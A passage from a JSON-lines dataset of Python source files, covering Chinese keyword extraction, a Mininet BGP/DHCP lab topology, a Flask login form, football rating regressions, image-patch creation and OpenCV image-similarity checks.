分词函数\n 指出过滤停用词 提取核心关键词\n dotype 可选参数:\n words_no_filter:对sentences中每个句子分词而得到的两级列表。\n words_no_stop_words:去掉words_no_filter中的停止词而得到的二维列表。\n words_all_filters:保留words_no_stop_words中指定词性的单词而得到的二维列表。\n\n >>> participle(text,dotype='words_no_filter')\n >>> [['李建军', '任职', '了', '10', '个', '月', '的', '灵武', '市长', '就', '升任', '市委书记', '接任', '灵武', '市长', '的', '正是', '陈', '淑惠']]\n\n\n\n\n \"\"\"\n tr4w = TextRank4Keyword()\n tr4w.analyze(text=text, lower=True, window=2)\n if dotype=='words_no_stop_words':\n return tr4w.words_no_stop_words\n if dotype=='words_all_filters':\n return tr4w.words_all_filters\n return tr4w.words_no_filter\n\n def html_text(self,html):\n \"\"\"从html中提取正文\n\n >>> html_text(html)\n\n\n \"\"\"\n # response = requests.get(url)\n # logging.info(response.text)\n # html = request.urlopen(url)\n\n # logging.info(html)\n\n doc = Document(html)\n # doc = Document(html)\n # logging.info(doc.title())\n try:\n html= doc.summary(True)\n except:\n return ''\n # logging.info(doc.get_clean_html())\n # t =html2text.html2text(html)\n text_maker = html2text.HTML2Text()\n text_maker.ignore_links = True\n text_maker.bypass_tables = False\n text_maker.ignore_images = True\n text_maker.images_to_alt = True\n # html = function_to_get_some_html()\n text = text_maker.handle(html)\n text=self.remove_HTML_tag('img',text)\n # print(text)\n return text\n def remove_HTML_tag(self,tag, string):\n \"\"\"删除特定的标签\n\n # 删除掉图片\n >>> tag ='img'\n >>> string ='''\n 萌照镇楼。\\n\n\n \n\n 母犬发情期的主要特征:\n\n '''\n\n >>> remove_HTML_tag(tag, string)\n\n \"\"\"\n string = re.sub(r\"<\\b(\" + tag + r\")\\b[^>]*>\", r\"\", string)\n return re.sub(r\"<\\/\\b(\" + tag + r\")\\b[^>]*>\", r\"\", string)\n def filter_tags(self, htmlstr):\n \"\"\"清理掉html代码\n\n >>> filter_tags(htmlstr)\n\n\n \"\"\"\n re_doctype = re.compile('')\n re_nav = re.compile('')\n re_cdata = re.compile('//', re.DOTALL)\n re_script = re.compile(\n '<\\s*script[^>]*>.*?<\\s*/\\s*script\\s*>', re.DOTALL | re.I)\n re_style = re.compile(\n '<\\s*style[^>]*>.*?<\\s*/\\s*style\\s*>', re.DOTALL | re.I)\n re_textarea = re.compile(\n '<\\s*textarea[^>]*>.*?<\\s*/\\s*textarea\\s*>', re.DOTALL | re.I)\n re_br = re.compile('')\n re_h = re.compile('', re.DOTALL)\n re_comment = re.compile('', re.DOTALL)\n re_space = re.compile(' +')\n s = re_cdata.sub('', htmlstr)\n s = re_doctype.sub('',s)\n s = re_nav.sub('', s)\n s = re_script.sub('', s)\n s = re_style.sub('', s)\n s = re_textarea.sub('', s)\n s = re_br.sub('', s)\n s = re_h.sub('', s)\n s = re_comment.sub('', s)\n s = re.sub('\\\\t', '', s)\n s = re_space.sub(' ', s)\n s = self.replaceCharEntity(s)\n return s\n def remove_word_wrap(self,html):\n \"\"\"删除多余的换行\n\n \"\"\"\n nt = re.sub('[\\n]+', '\\n', html)\n return nt\n # def clear(self, string):\n # \"\"\"清理多余空格\n\n # 清理多余的换行空格等\n\n # >>> clear('这里似乎内\\t容不给')\n\n # \"\"\"\n\n # # return string.strip()\n # # for line in string.readlines():\n # # string = re.sub('[\\n]+', '\\n', string)\n # string = string.replace('\\n', '').replace(\n # '\\n\\n', '\\n').replace('\\r\\n', '\\n').replace(' ', '\\n')\n # # string = string.replace('\\n\\n', ' ').replace('\\n', '')\n # string = re.sub(' +', ' ', string)\n # return string\n # 清理多余的换行空格等\n def clear(self, string):\n \"\"\"清理多余空格\n\n 清理多余的换行空格等\n\n >>> clear('这里似乎内\\t容不给')\n\n \"\"\"\n\n # return string.strip()\n # for line in string.readlines():\n # string = re.sub('[\\n]+', '\\n', string)\n string = string.replace('\\n', '').replace(\n '\\n\\n', '\\n').replace('\\r\\n', '\\n').replace(' ', '\\n')\n # string = string.replace('\\n\\n', ' ').replace('\\n', '')\n string = re.sub(' +', ' ', string)\n return string\n def summary(self, text,num=10):\n \"\"\"获取文本的摘要\n\n >>> summary( text,num=10)\n >>> [{'index': 0, 'sentence': '法院经审理查明,被告人陈淑惠在担任银川市兴庆区委副书记、区长,灵武市委副书记、代市长、市长期间,利用职务上的便利,在工程款拨付、项目审批等方面为他人谋取利益,先后非法收受他人财物折合人民币546万余元、英镑2万元、美元3万元', 'weight': 0.12558810530050332}, {'index': 1, 'sentence': '法院认为,被告人陈淑惠身为国家工作人员,利用职务之便,为他人谋取利益,非法收受他人财物数额特别巨大,其行为已构成受贿罪', 'weight': 0.11183996893770527}, {'index': 10, 'sentence': '2009年1月至2009年11月,李建军任职了10个月的灵武市长就升任市委书记,接任灵武市长的正是陈淑惠,此后两人党政班子搭档了两年时间', 'weight': 0.10833734824662838}]\n\n\n \"\"\"\n tr4s = TextRank4Sentence()\n tr4s.analyze(text=text, lower=True, source = 'all_filters')\n # print(tr4s.get_key_sentences(num=3))\n return tr4s.get_key_sentences(num=num)\n\n # return data\n def get_keywords(self, text,num=10):\n \"\"\"获取文本的关键词\n https://github.com/napoler/TextRank4ZH\n\n >>> get_keywords( text,num=10)\n >>> [{'word': '淑惠', 'weight': 0.03249010309710726}, {'word': '法院', 'weight': 0.02192152416206948}, {'word': '灵武', 'weight': 0.021869542539628625}, {'word': '李建军', 'weight': 0.019213098969148662}, {'word': '人财物', 'weight': 0.01856601133033217}, {'word': '市长', 'weight': 0.017907055156049748}, {'word': '市委书记', 'weight': 0.017755388969961372}, {'word': '被告人', 'weight': 0.016851090405232656}, {'word': '受贿罪', 'weight': 0.016218911983344443}, {'word': '行贿人', 'weight': 0.015739567821084217}]\n\n \"\"\"\n tr4w = TextRank4Keyword()\n\n tr4w.analyze(text=text, lower=True, window=2) # py2中text必须是utf8编码的str或者unicode对象,py3中必须是utf8编码的bytes或者str对象\n return tr4w.get_keywords(num, word_min_len=2)\n # return data\n # jieba分词器通过词频获取关键词\n def jieba_keywords(self,text,num=10):\n # keywords = jieba.analyse.extract_tags(text, topK=10)\n keywords = jieba.analyse.textrank(text, topK=10, allowPOS=('ns', 'n', 'vn', 'v'))\n # print keywords\n return keywords\n def get_keyphrases(self, text,num=10):\n \"\"\"获取文本的关键短语\n\n >>> get_keyphrases( text,num=10)\n >>> ['灵武市长', '陈淑惠', '被告人陈', '被告人陈淑惠']\n\n\n \"\"\"\n tr4w = TextRank4Keyword()\n # print( '关键短语:' )\n tr4w.analyze(text=text, lower=True, window=2) # py2中text必须是utf8编码的str或者unicode对象,py3中必须是utf8编码的bytes或者str对象\n\n return tr4w.get_keyphrases(keywords_num=num, min_occur_num= 2)\n\n # return data\n def text_processing(self, text):\n \"\"\"对文��进行更多的处理\n 获取到更多的内容\n 进行分词,分句等处理\n\n >>> text_processing(text)\n\n \"\"\"\n\n data = {\n 'keyphrases':self.get_keyphrases(text),\n 'keywords' : self.get_keywords(text),\n 'summary':self.summary(text),\n 'sentence':self.sentence_segmentation(text),\n 'text':text\n\n\n\n }\n return data\n","sub_path":"Subproject/tkitText/tkitText/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":20206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"15996500","text":"import json\nimport os.path\nimport time\n\n# Third-party libraries\nimport zmq\n\ncontext = zmq.Context()\nsocket = context.socket(zmq.REQ)\nsocket.connect(\"tcp://localhost:5555\")\n\nsocket.send(b\"hello\")\n\nmessage = socket.recv()\nprint(message)\n\nwhile True:\n # Wait for next request from client\n jsonStr = '{\"measures\":{\"R\":255.0, \"G\":125.0, \"B\":64}}'\n socket.send(jsonStr.encode('ascii'))\n # Do some 'work'\n time.sleep(1)\n message = socket.recv()\n print(\"Received request: %s\" % message)","sub_path":"predictive-python/python model/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"570382822","text":"#! /usr/bin/python\n\nimport time\nimport os\nfrom mininet.topo import Topo\nfrom mininet.net import Mininet\nfrom mininet.node import Node, Switch\nfrom mininet.cli import CLI\n\nclass Router(Node):\n \"Node with Linux Router Function\"\n \n def config(self, **params):\n super(Router, self).config(**params)\n self.cmd('sysctl net.ipv4.ip_forward=1')\n\n def terminate(self):\n self.cmd('sysctl net.ipv4.ip_forward=0')\n super(Router, self).terminate()\n\ndef topology():\n net = Mininet(autoStaticArp=True)\n\n # Initialize objects dicts\n hosts, switches, routers = {}, {}, {}\n\n # Create Host, from h1 to h3\n h1 = net.addHost('h1',ip='0.0.0.0/0', )\n h2 = net.addHost('h2',ip='192.168.1.65/26', defaultRoute='192.168.1.126/26')\n h3 = net.addHost('h3',ip='192.168.1.66/26', defaultRoute='192.168.1.126/26')\n h4 = net.addHost('h4',ip='140.114.0.1/24', defaultRoute='140.114.0.2/24')\n\n # Create DHCP server\n DHCPServer = net.addHost('DHCPServer')\n\n # Create Switch, from s1 to s2\n for i in range(2):\n switch = net.addSwitch('s%d' % (i + 1), failMode='standalone')\n switches['s%d' % (i + 1)] = switch\n\n # Create Router, from r1 to r4\n for i in range(4):\n router = net.addHost('r%d' % (i + 1), cls=Router)\n routers['r%d' % (i + 1)] = router\n \n # link pairs\n links = [('r2', 'r3'), ('r2', 'r1'),\n ('r3', 'r4'), ('r1', 's1'),\n ('r1', 's2'), ('r4', 'h4'),\n ('s1', 'h1'), ('s1', 'DHCPServer'),\n ('s2', 'h2'), ('h3', 's2')\n ]\n #create link\n for link in links:\n src, dst = link\n net.addLink(src, dst)\n\n net.start()\n config(routers, h2, h3, h4, DHCPServer)\n runBGP(routers)\n runDHCP(net) # if your dhcpd.conf is done, uncomment this line \n CLI(net)\n killDHCP(net) # don't leave dhcp process \n killBGP() #dont leave bgp process\n net.stop()\n\ndef config(routers, h2, h3, h4, DHCPServer):\n DHCPServer.cmd('ifconfig DHCPServer-eth0 192.168.1.4/24')\n h2.cmd('route add default gw 192.168.1.126')\n h3.cmd('route add default gw 192.168.1.126')\n h4.cmd('route add default gw 140.114.0.2')\n routers['r1'].cmd('ifconfig r1-eth0 10.0.1.2/24')\n routers['r1'].cmd('ifconfig r1-eth1 192.168.1.62/26')\n routers['r1'].cmd('ifconfig r1-eth2 192.168.1.126/26')\n routers['r2'].cmd('ifconfig r2-eth0 10.0.0.1/24')\n routers['r2'].cmd('ifconfig r2-eth1 10.0.1.1/24')\n routers['r3'].cmd('ifconfig r3-eth0 10.0.0.2/24')\n routers['r3'].cmd('ifconfig r3-eth1 10.0.2.1/24')\n routers['r4'].cmd('ifconfig r4-eth0 10.0.2.3/24')\n routers['r4'].cmd('ifconfig r4-eth1 140.114.0.2/24')\n \n\ndef runBGP(routers):\n \n routers['r1'].cmd('zebra -f ./configs/zebra.conf -d -i /var/run/quagga/zebrar1.pid')\n routers['r1'].cmd('bgpd -f ./configs/bgp_r1.conf -d -i /var/run/quagga/bgpdr1.pid')\n routers['r2'].cmd('zebra -f ./configs/zebra.conf -d -i /var/run/quagga/zebrar2.pid')\n routers['r2'].cmd('bgpd -f ./configs/bgp_r2.conf -d -i /var/run/quagga/bgpdr2.pid')\n routers['r3'].cmd('zebra -f ./configs/zebra.conf -d -i /var/run/quagga/zebrar3.pid')\n routers['r3'].cmd('bgpd -f ./configs/bgp_r3.conf -d -i /var/run/quagga/bgpdr3.pid')\n routers['r4'].cmd('zebra -f ./configs/zebra.conf -d -i /var/run/quagga/zebrar4.pid')\n routers['r4'].cmd('bgpd -f ./configs/bgp_r4.conf -d -i /var/run/quagga/bgpdr4.pid')\n\ndef killBGP():\n print(\"[-] Killing BGP\")\n os.system(\"sudo kill -9 `cat /var/run/quagga/bgpdr1.pid`\")\n os.system(\"sudo kill -9 `cat /var/run/quagga/bgpdr2.pid`\")\n os.system(\"sudo kill -9 `cat /var/run/quagga/bgpdr3.pid`\")\n os.system(\"sudo kill -9 `cat /var/run/quagga/bgpdr4.pid`\")\n os.system(\"sudo kill -9 `cat /var/run/quagga/zebrar1.pid`\")\n os.system(\"sudo kill -9 `cat /var/run/quagga/zebrar2.pid`\")\n os.system(\"sudo kill -9 `cat /var/run/quagga/zebrar3.pid`\")\n os.system(\"sudo kill -9 `cat /var/run/quagga/zebrar4.pid`\")\n \ndef runDHCP(net):\n #Run DHCP server on node DHCPServer\n print(\"[+] Run DHCP server\")\n dhcp = net.getNodeByName('DHCPServer') \n dhcp.cmdPrint('/usr/sbin/dhcpd 4 -pf /run/dhcp-server-dhcpd.pid -cf ./dhcpd.conf %s' % dhcp.defaultIntf())\n\ndef killDHCP(net):\n #Kill DHCP server process\n dhcp = net.getNodeByName('DHCPServer')\n print(\"[-] Killing DHCP server\")\n dhcp.cmdPrint(\"kill -9 `ps aux | grep DHCPServer-eth0 | grep dhcpd | awk '{print $2}'`\")\n\nif __name__ == '__main__':\n topology()\n\n\n","sub_path":"lab/lab3/lab3_0716026/0716026_topo.py","file_name":"0716026_topo.py","file_ext":"py","file_size_in_byte":4489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"525711804","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport fincomp\nimport util\nimport autil\n\ncompanyList = util.exchange_company_list('ETF3')\n\nreturns3day = []\ntodayReturns = []\ncompanyLabels = []\nupDayVolAboveMovAvg = []\ntwoUpDayVolAboveMovAvg = []\n\nvolumeFilter = False\n\nfig = plt.figure()\nax1 = fig.add_subplot(111)\n\nfor comp in companyList[:-1]:\n\ttry:\n\t\ttempCompData = fincomp.finComp(comp).extractDataFromDb(30)\n\t\toneDayReturn = (tempCompData.Close.values[-1] - tempCompData.Open.values[-1])/ tempCompData.Open.values[-1]\n\t\ttwoDayReturn = (tempCompData.Close.values[-1] - tempCompData.Open.values[-2])/ tempCompData.Open.values[-2]\n\t\tthreeDayReturn = (tempCompData.Close.values[-1] - tempCompData.Open.values[-3])/ tempCompData.Open.values[-3]\n\t\tvolumeAvgs = autil.volume_splitter_avg(tempCompData)\n\t\t# Today upday with volume above average\n\t\tif oneDayReturn > 0 and volumeAvgs[0][-1] <= tempCompData.Volume.values[-1]:\n\t\t\tupDayVolAboveMovAvg.append(True)\n\t\telse:\n\t\t\tupDayVolAboveMovAvg.append(False)\n\t\t# Today and yeterday up with volume above average\n\t\tif oneDayReturn > 0 and twoDayReturn > 0 and volumeAvgs[0][-1] <= tempCompData.Volume.values[-1] and volumeAvgs[0][-2] <= tempCompData.Volume.values[-2]:\n\t\t\ttwoUpDayVolAboveMovAvg.append(True)\n\t\telse:\n\t\t\ttwoUpDayVolAboveMovAvg.append(False)\n\n\t\ttodayReturns.append(oneDayReturn)\n\t\treturns3day.append(threeDayReturn)\n\t\tcompanyLabels.append(comp)\n\texcept:\n\t\tcontinue\n\n\nfor index in range(len(companyLabels)):\n\tif volumeFilter == False:\n\t\t\tax1.scatter(returns3day[index],todayReturns[index],marker='o')\n\t\t\tax1.annotate(str(companyLabels[index]),xy=(float(returns3day[index]),float(todayReturns[index])))\t\t\n\telse:\n\t\tif upDayVolAboveMovAvg[index] == True and twoUpDayVolAboveMovAvg[index] == False:\n\t\t\tax1.scatter(returns3day[index],todayReturns[index],marker='o')\n\t\t\tax1.annotate(str(companyLabels[index]),xy=(float(returns3day[index]),float(todayReturns[index])))\n\t\telif upDayVolAboveMovAvg[index] == True and twoUpDayVolAboveMovAvg[index] == True:\n\t\t\tax1.scatter(returns3day[index],todayReturns[index],marker='x')\n\t\t\tax1.annotate(str(companyLabels[index]),xy=(float(returns3day[index]),float(todayReturns[index])))\n\t\t\nax1.set_xlabel('3 day return')\nax1.set_ylabel('today return')\nax1.grid()\n\nplt.show()\n\n","sub_path":"quickChecks/ETF_Check.py","file_name":"ETF_Check.py","file_ext":"py","file_size_in_byte":2261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"240559992","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 18 00:37:23 2018\n\n@author: em\n\"\"\"\n\nimport scipy.misc\nimport numpy as np\nfrom skimage.draw import ellipse\n\n# Image size\nwidth = 1280\nheight = 960\nchannels = 4\n\nNCOL = 7\nNROW = 6\nratio = 0.65\n\n# Create an empty image\nimg = np.zeros((height, width, channels), dtype=np.uint8)\n\n# Background color\nimg[:,:,:] = [10,40,95, 255]\n\n# Draw transparent holes into it\nsq_size = (height/NROW, width/NCOL)\nfor row in range(NROW):\n for col in range(NCOL):\n cy = sq_size[0] * (row + 0.5)\n cx = sq_size[1] * (col + 0.5)\n ry = sq_size[0]/2 * ratio\n rx = sq_size[1]/2 * ratio\n rr, cc = ellipse(int(cy), int(cx), int(ry), int(rx))\n img[rr,cc,3] = 0\n \n# Save the image\nscipy.misc.imsave(\"grid.png\", img)\n\n\n\n","sub_path":"utility/create-grid-image.py","file_name":"create-grid-image.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"447103936","text":"import pandas as pd\nfrom sklearn.linear_model import RidgeCV, Ridge, Lasso\nimport numpy as np\nfrom datetime import datetime\nfrom scipy.optimize import minimize\nfrom sklearn.ensemble import GradientBoostingRegressor\nfrom sklearn.preprocessing import PolynomialFeatures\nimport pickle\nfrom sklearn.model_selection import GridSearchCV\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline\n\ndef get_team_ranks(teams, coefs):\n\n ranks = (-coefs).argsort()\n\n for i in range(len(team_list)):\n print (i+1, teams[ranks[i]], coefs[ranks[i]])\n\ndef model_pred(model, games):\n games = np.asarray(games)\n return model.predict(games)\n\ndef calculate_ridge(Xs, ys, alpha):\n Xs = np.asarray(Xs)\n Ys = np.asarray(ys)\n # Ys = Ys.reshape((Ys.shape[0], 1))\n # print (Xs)\n # print (Ys)\n # print (Xs.shape, Ys.shape)\n print (Xs.shape, Ys.shape)\n clf = Ridge(alpha=alpha, fit_intercept=True).fit(Xs, Ys)\n return clf\n\ngames_details = []\n\nrolling_game_list_sup = []\nrolling_game_list_tot = []\n\nrolling_y_list_sup = []\nrolling_y_list_tot = []\n\ndf = pd.read_csv(\"E0_underlying_1918.csv\")\ndf[\"NewHomeTeam\"] = df[\"HomeTeam\"] + \"1918\"\ndf[\"NewAwayTeam\"] = df[\"AwayTeam\"] + \"1918\"\n\n\ndf2 = pd.read_csv(\"E0_underlying_1817.csv\")\ndf2[\"NewHomeTeam\"] = df2[\"HomeTeam\"] + \"1817\"\ndf2[\"NewAwayTeam\"] = df2[\"AwayTeam\"] + \"1817\"\n\ndf = df.append(df2)\n\ndf[\"sup_per_goal\"] = (df[\"home_underlying\"] - df[\"away_underlying\"])/(df[\"home_underlying\"] + df[\"away_underlying\"])\ndf[\"ex_total\"] = (df[\"home_underlying\"] + df[\"away_underlying\"])\nprint (df[df.sup_per_goal == -1])\nprint (df[\"sup_per_goal\"].max())\nprint (df[\"sup_per_goal\"].min())\nprint (df[\"ex_total\"].min())\nprint (df[\"ex_total\"].max())\n\nfor x, row in df.iterrows():\n this_row = [row[\"Date\"],\"\", row[\"NewHomeTeam\"], row[\"NewAwayTeam\"], row[\"FTHG\"], row[\"FTAG\"],\n row[\"sup_per_goal\"], row[\"ex_total\"]] # row[\"home_underlying\"], row[\"away_underlying\"]]\n games_details.append(this_row)\n\nteam_list = []\nfor game in games_details:\n if game[2] not in team_list:\n team_list.append(game[2])\n if game[3] not in team_list:\n team_list.append(game[3])\n\n\ncsv_rows = []\n\nnext_fixtures_list = []\nnew_data_set = []\n\ndifferences = []\ndifferences2 = []\nfor game in games_details:\n\n date_as_dt = datetime.strptime(game[0], \"%d/%m/%Y\")\n\n if date_as_dt < datetime(2020, 4, 2):\n\n fake_row = [0] * (len(team_list)) # one for ha\n fake_row_2 = [0] * (len(team_list)) # one for ha\n home_ind = team_list.index(game[2])\n away_ind = team_list.index(game[3])\n fake_row[home_ind] = 1\n fake_row[away_ind] = -1\n\n fake_row_2[home_ind] = 1\n fake_row_2[away_ind] = 1\n\n rolling_game_list_sup.append(fake_row)\n rolling_y_list_sup.append(game[-2])\n rolling_game_list_tot.append(fake_row_2)\n rolling_y_list_tot.append(game[-1])\n\n#these models build essentially a season rating for all the teams\nfirst_model_sup = calculate_ridge(rolling_game_list_sup, rolling_y_list_sup, 0)\nfirst_model_tot = calculate_ridge(rolling_game_list_tot, rolling_y_list_tot, 0)\nprint (\"ha\", first_model_sup.intercept_)\nfor x,i in enumerate(team_list):\n print (i, first_model_sup.coef_[x])\n#need a dataset whereby we take the teams avareage season ratings and use that to build the expected game sup_per_goal and tot\n# might need an inverse as well\n\nnew_game_rows_sup = []\nnew_game_ys_sup = []\nnew_game_rows_tot = []\nnew_game_ys_tot = []\n\nprint (games_details)\nfor game in games_details:\n fake_row = [0] * (len(team_list)) # one for ha\n fake_row_2 = [0] * (len(team_list)) # one for ha\n home_ind = team_list.index(game[2])\n away_ind = team_list.index(game[3])\n fake_row[home_ind] = 1\n fake_row[away_ind] = -1\n\n fake_row_2[home_ind] = 1\n fake_row_2[away_ind] = 1\n\n fake_row = [(first_model_sup.coef_[home_ind] - first_model_sup.coef_[away_ind] + first_model_sup.intercept_)\n ,first_model_tot.coef_[home_ind] + first_model_tot.coef_[away_ind] + first_model_tot.intercept_]\n new_game_rows_sup.append(fake_row)\n new_game_rows_tot.append(fake_row)\n new_game_ys_sup.append(game[-2])\n new_game_ys_tot.append(game[-1])\n\nload_models = False\nprint (new_game_rows_sup)\nprint (new_game_ys_sup)\nif load_models:\n sup_estimator = pickle.load(open(\"sup_estimator.pkl\", 'rb'))\nelse:\n param_grid = {'ml_mod__alpha': [0.0001, 0.001, 0.01, 0.1, 1, 10, 100, 1000],\n 'poly__degree': [1, 2]}\n #\n # param_grid = {'ml_mod__alpha': [0.000001, 0.0001, 0.001, 0.01, 0.1, 1, 10, 100],\n # 'ply__degree': [1, 2, 3]},\n pipe = Pipeline([('poly', PolynomialFeatures()), ('scaler', StandardScaler()), ('ml_mod', Ridge())])\n sup_estimator = GridSearchCV(estimator=pipe, param_grid=param_grid,\n cv=5, n_jobs=-1, verbose=2, scoring=\"neg_mean_absolute_error\")\n sup_estimator.fit(new_game_rows_sup, new_game_ys_sup)\n\nprint (sup_estimator.predict(new_game_rows_sup))\n#get total adjustment model\n\nif load_models:\n tot_estimator = pickle.load(open(\"tot_estimator.pkl\", 'rb'))\nelse:\n # param_grid = {'grad_boost__n_estimators': [10, 100, 1000],\n # 'grad_boost__learning_rate': [0.2, 0.1, 0.05, 0.02],\n # 'grad_boost__max_depth': [1, 2, 4, 6],\n # 'grad_boost__min_samples_leaf': [3, 5, 9, 17, 25],\n # 'grad_boost__max_features': [1.0, 0.3, 0.1]}\n\n param_grid = {'ml_mod__alpha': [0.0001, 0.001, 0.01, 0.1, 1, 10, 100, 1000],\n 'poly__degree': [1, 2]}\n pipe = Pipeline([('poly', PolynomialFeatures()),('scaler', StandardScaler()), ('ml_mod', Ridge())])\n tot_estimator = GridSearchCV(estimator = pipe, param_grid = param_grid,\n cv = 5, n_jobs = -1, verbose = 2, scoring=\"neg_mean_absolute_error\")\n tot_estimator.fit(new_game_rows_tot, new_game_ys_tot)\n\n\npickle.dump(sup_estimator, open(\"sup_estimator_pre_lin.pkl\", 'wb'))\npickle.dump(tot_estimator, open(\"tot_estimator_pre_lin.pkl\", 'wb'))\n\nprint (sup_estimator.best_score_)\nprint (sup_estimator.best_params_)\nprint (tot_estimator.best_score_)\nprint (tot_estimator.best_params_)\n\n#these tell me master rating to game ratings\n#but i need game ratings to master ratings\n\n#this model essentially teanslates aggegates to games\n#so when runnign through games we need to get the implied aggregated differences and then that is what we build the rating from and then reapply this model","sub_path":"rolling_regression_alt_plus_linear_prior.py","file_name":"rolling_regression_alt_plus_linear_prior.py","file_ext":"py","file_size_in_byte":6500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"226159310","text":"## 测试表单提交\nfrom flask import Flask\nfrom flask import render_template, request\nfrom wtforms import Form\n# 导入数据范围 类\nfrom wtforms import validators\nfrom wtforms import widgets\n# 导入注册数据 类\nfrom wtforms.fields import simple\n\napp = Flask(__name__, template_folder=\"views\")\napp.debug = True\n\n\n# 注册表单类\nclass SubmitForm(Form):\n name = simple.StringField(\n label=\"用户名\",\n validators=[\n validators.Length(min=5, max=10, message=\"用户名必须大于5位,小于10位\"),\n validators.DataRequired(message=\"用户名不能为空\")\n ],\n widget=widgets.TextInput(),\n\n )\n pwd = simple.StringField(\n label=\"密码\",\n validators=[\n validators.DataRequired(\"密码不能为空\"),\n validators.Length(min=6, message=\"密码不能小于6位\"),\n validators.Regexp(regex=\"^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[$@$!%*?&])[A-Za-z\\d$@$!%*?&]{6,}\",\n message=\"密码至少6个字符,至少1个大写字母,1个小写字母,1个数字和1个特殊字符\")\n\n ],\n widget=widgets.PasswordInput()\n )\n\n\n@app.route('/')\ndef hello_world():\n return login()\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n lod = SubmitForm()\n # 提交方式验证 数据验证\n if request.method == 'POST' and lod.validate():\n # 返回的 getf 为一个 wtform 对象\n lod = SubmitForm(formdata=request.form)\n\n return render_template(\"login.html\", cntent=\"hello\",getf=lod )\n else:\n return render_template(\"login.html\", cntent=\"hello\",getf=lod)\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"LittleP3/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"135145202","text":"import torchvision.transforms as tf\nimport img_tools.ImgTransforms as ctf\nfrom torch.utils.data import DataLoader\nfrom img_tools.ImgDataset import ImageDataset\n\n\"\"\"\nFunction: create_patch_data\n\n Function used to create a folder of image pacthes from a folder of images\n Note: created patches are named {img index}-{patch index}.png\n \n Args:\n imgs_rt (string): path to image directory\n ptch_rt (string): path to directory in which to place image patches\n ptch_size (int or tuple): dimension of created image patches (tuple specifies H & W, if int H = W).\n pad (int): padding to place on pacth borders\n n_pcthes (int): specifies the number of pacthes to create from each image, default is to return\n all patches in an image if no parameter given\n Return: void\n\"\"\"\n\ndef create_patch_data(imgs_rt, ptch_rt, ptch_size, pad=0, n_ptchs=None):\n \n # define img -> ptchs tensor transform\n if n_ptchs != None:\n # user specifies num patches\n transform = tf.Compose([\n ctf.RandomPatches(n_ptchs, ptch_size, pad),\n tf.Lambda(lambda patches: torch.stack([tf.ToTensor()(patch) for patch in patches])),\n ])\n else:\n # default all patches in each image\n transform = tf.Compose([\n ctf.Image2Patches(ptch_size, pad),\n tf.Lambda(lambda patches: torch.stack([tf.ToTensor()(patch) for patch in patches])),\n ])\n \n # create dataloader for img dataset\n img_dataset = ImageDataset(\n rootDir = imgs_rt, \n transform = transform\n ) \n img_loader = DataLoader(img_dataset, batch_size=1, shuffle=True, num_workers=4)\n \n # transform imgs->ptchs\n for i, ptchs in enumerate(img_loader, 0):\n for j, ptch in enumerate(ptchs[0], 0):\n # save patches to specified directory\n ptch = tf.ToPILImage()(ptch)\n save_loc = ptch_rt+'/{}-{}.png'.format(i,j)\n ptch.save(save_loc, 'png')\n \n return ","sub_path":"Img-Comp/img_tools/DatasetScript/createImgDataset.py","file_name":"createImgDataset.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"146411073","text":"\"Gives some tools for checking the image is shared before\"\r\nimport os\r\nimport logging\r\n\r\nfrom cv2 import cv2\r\n\r\nfrom settings import SHARED\r\nfrom common.tools import logger\r\n\r\nTRESHOLD = 0.3\r\nTRESHOLD_PERCANTAGE = 90\r\n\r\n\r\ndef is_similar(image1, image2):\r\n \"Compares two images\"\r\n logger.debug(\r\n \"First image: %s, Second image: %s\", image1, image2\r\n )\r\n image1 = cv2.imread(image1)\r\n image2 = cv2.imread(image2)\r\n\r\n first_image_hist = cv2.calcHist([image1], [0], None, [256], [0, 256])\r\n second_image_hist = cv2.calcHist([image2], [0], None, [256], [0, 256])\r\n\r\n # img_hist_diff = cv2.compareHist(\r\n # first_image_hist, second_image_hist,\r\n # cv2.HISTCMP_BHATTACHARYYA\r\n # )\r\n img_template_probability_match = cv2.matchTemplate(\r\n first_image_hist, second_image_hist,\r\n cv2.TM_CCOEFF_NORMED\r\n )[0][0]\r\n\r\n img_template_probability_match *= 100\r\n similar = bool(img_template_probability_match >= TRESHOLD_PERCANTAGE)\r\n\r\n log_level = logging.WARNING if similar else logging.INFO\r\n\r\n logger.log(\r\n log_level,\r\n \"Similarity: %s\",\r\n str(img_template_probability_match)\r\n )\r\n\r\n return similar\r\n\r\n\r\ndef is_shared(filepath):\r\n \"Checks the file to decide the image shared before or not\"\r\n for folder in os.listdir(SHARED):\r\n folder = os.path.join(SHARED, folder)\r\n logger.info(\"folders are: %s\", folder)\r\n for filename in os.listdir(folder):\r\n filename = os.path.join(folder, filename)\r\n if is_similar(filepath, filename):\r\n return True\r\n return False\r\n\r\n\r\ndef is_any_photo_shared(folder):\r\n \"Checks the files in the folder to decide the image shared before or not\"\r\n logger.info(\"Checking for is any photo shared before\")\r\n for filename in os.listdir(folder):\r\n logger.debug(\"Filename is: %s\", filename)\r\n if is_shared(os.path.join(folder, filename)):\r\n return True\r\n return 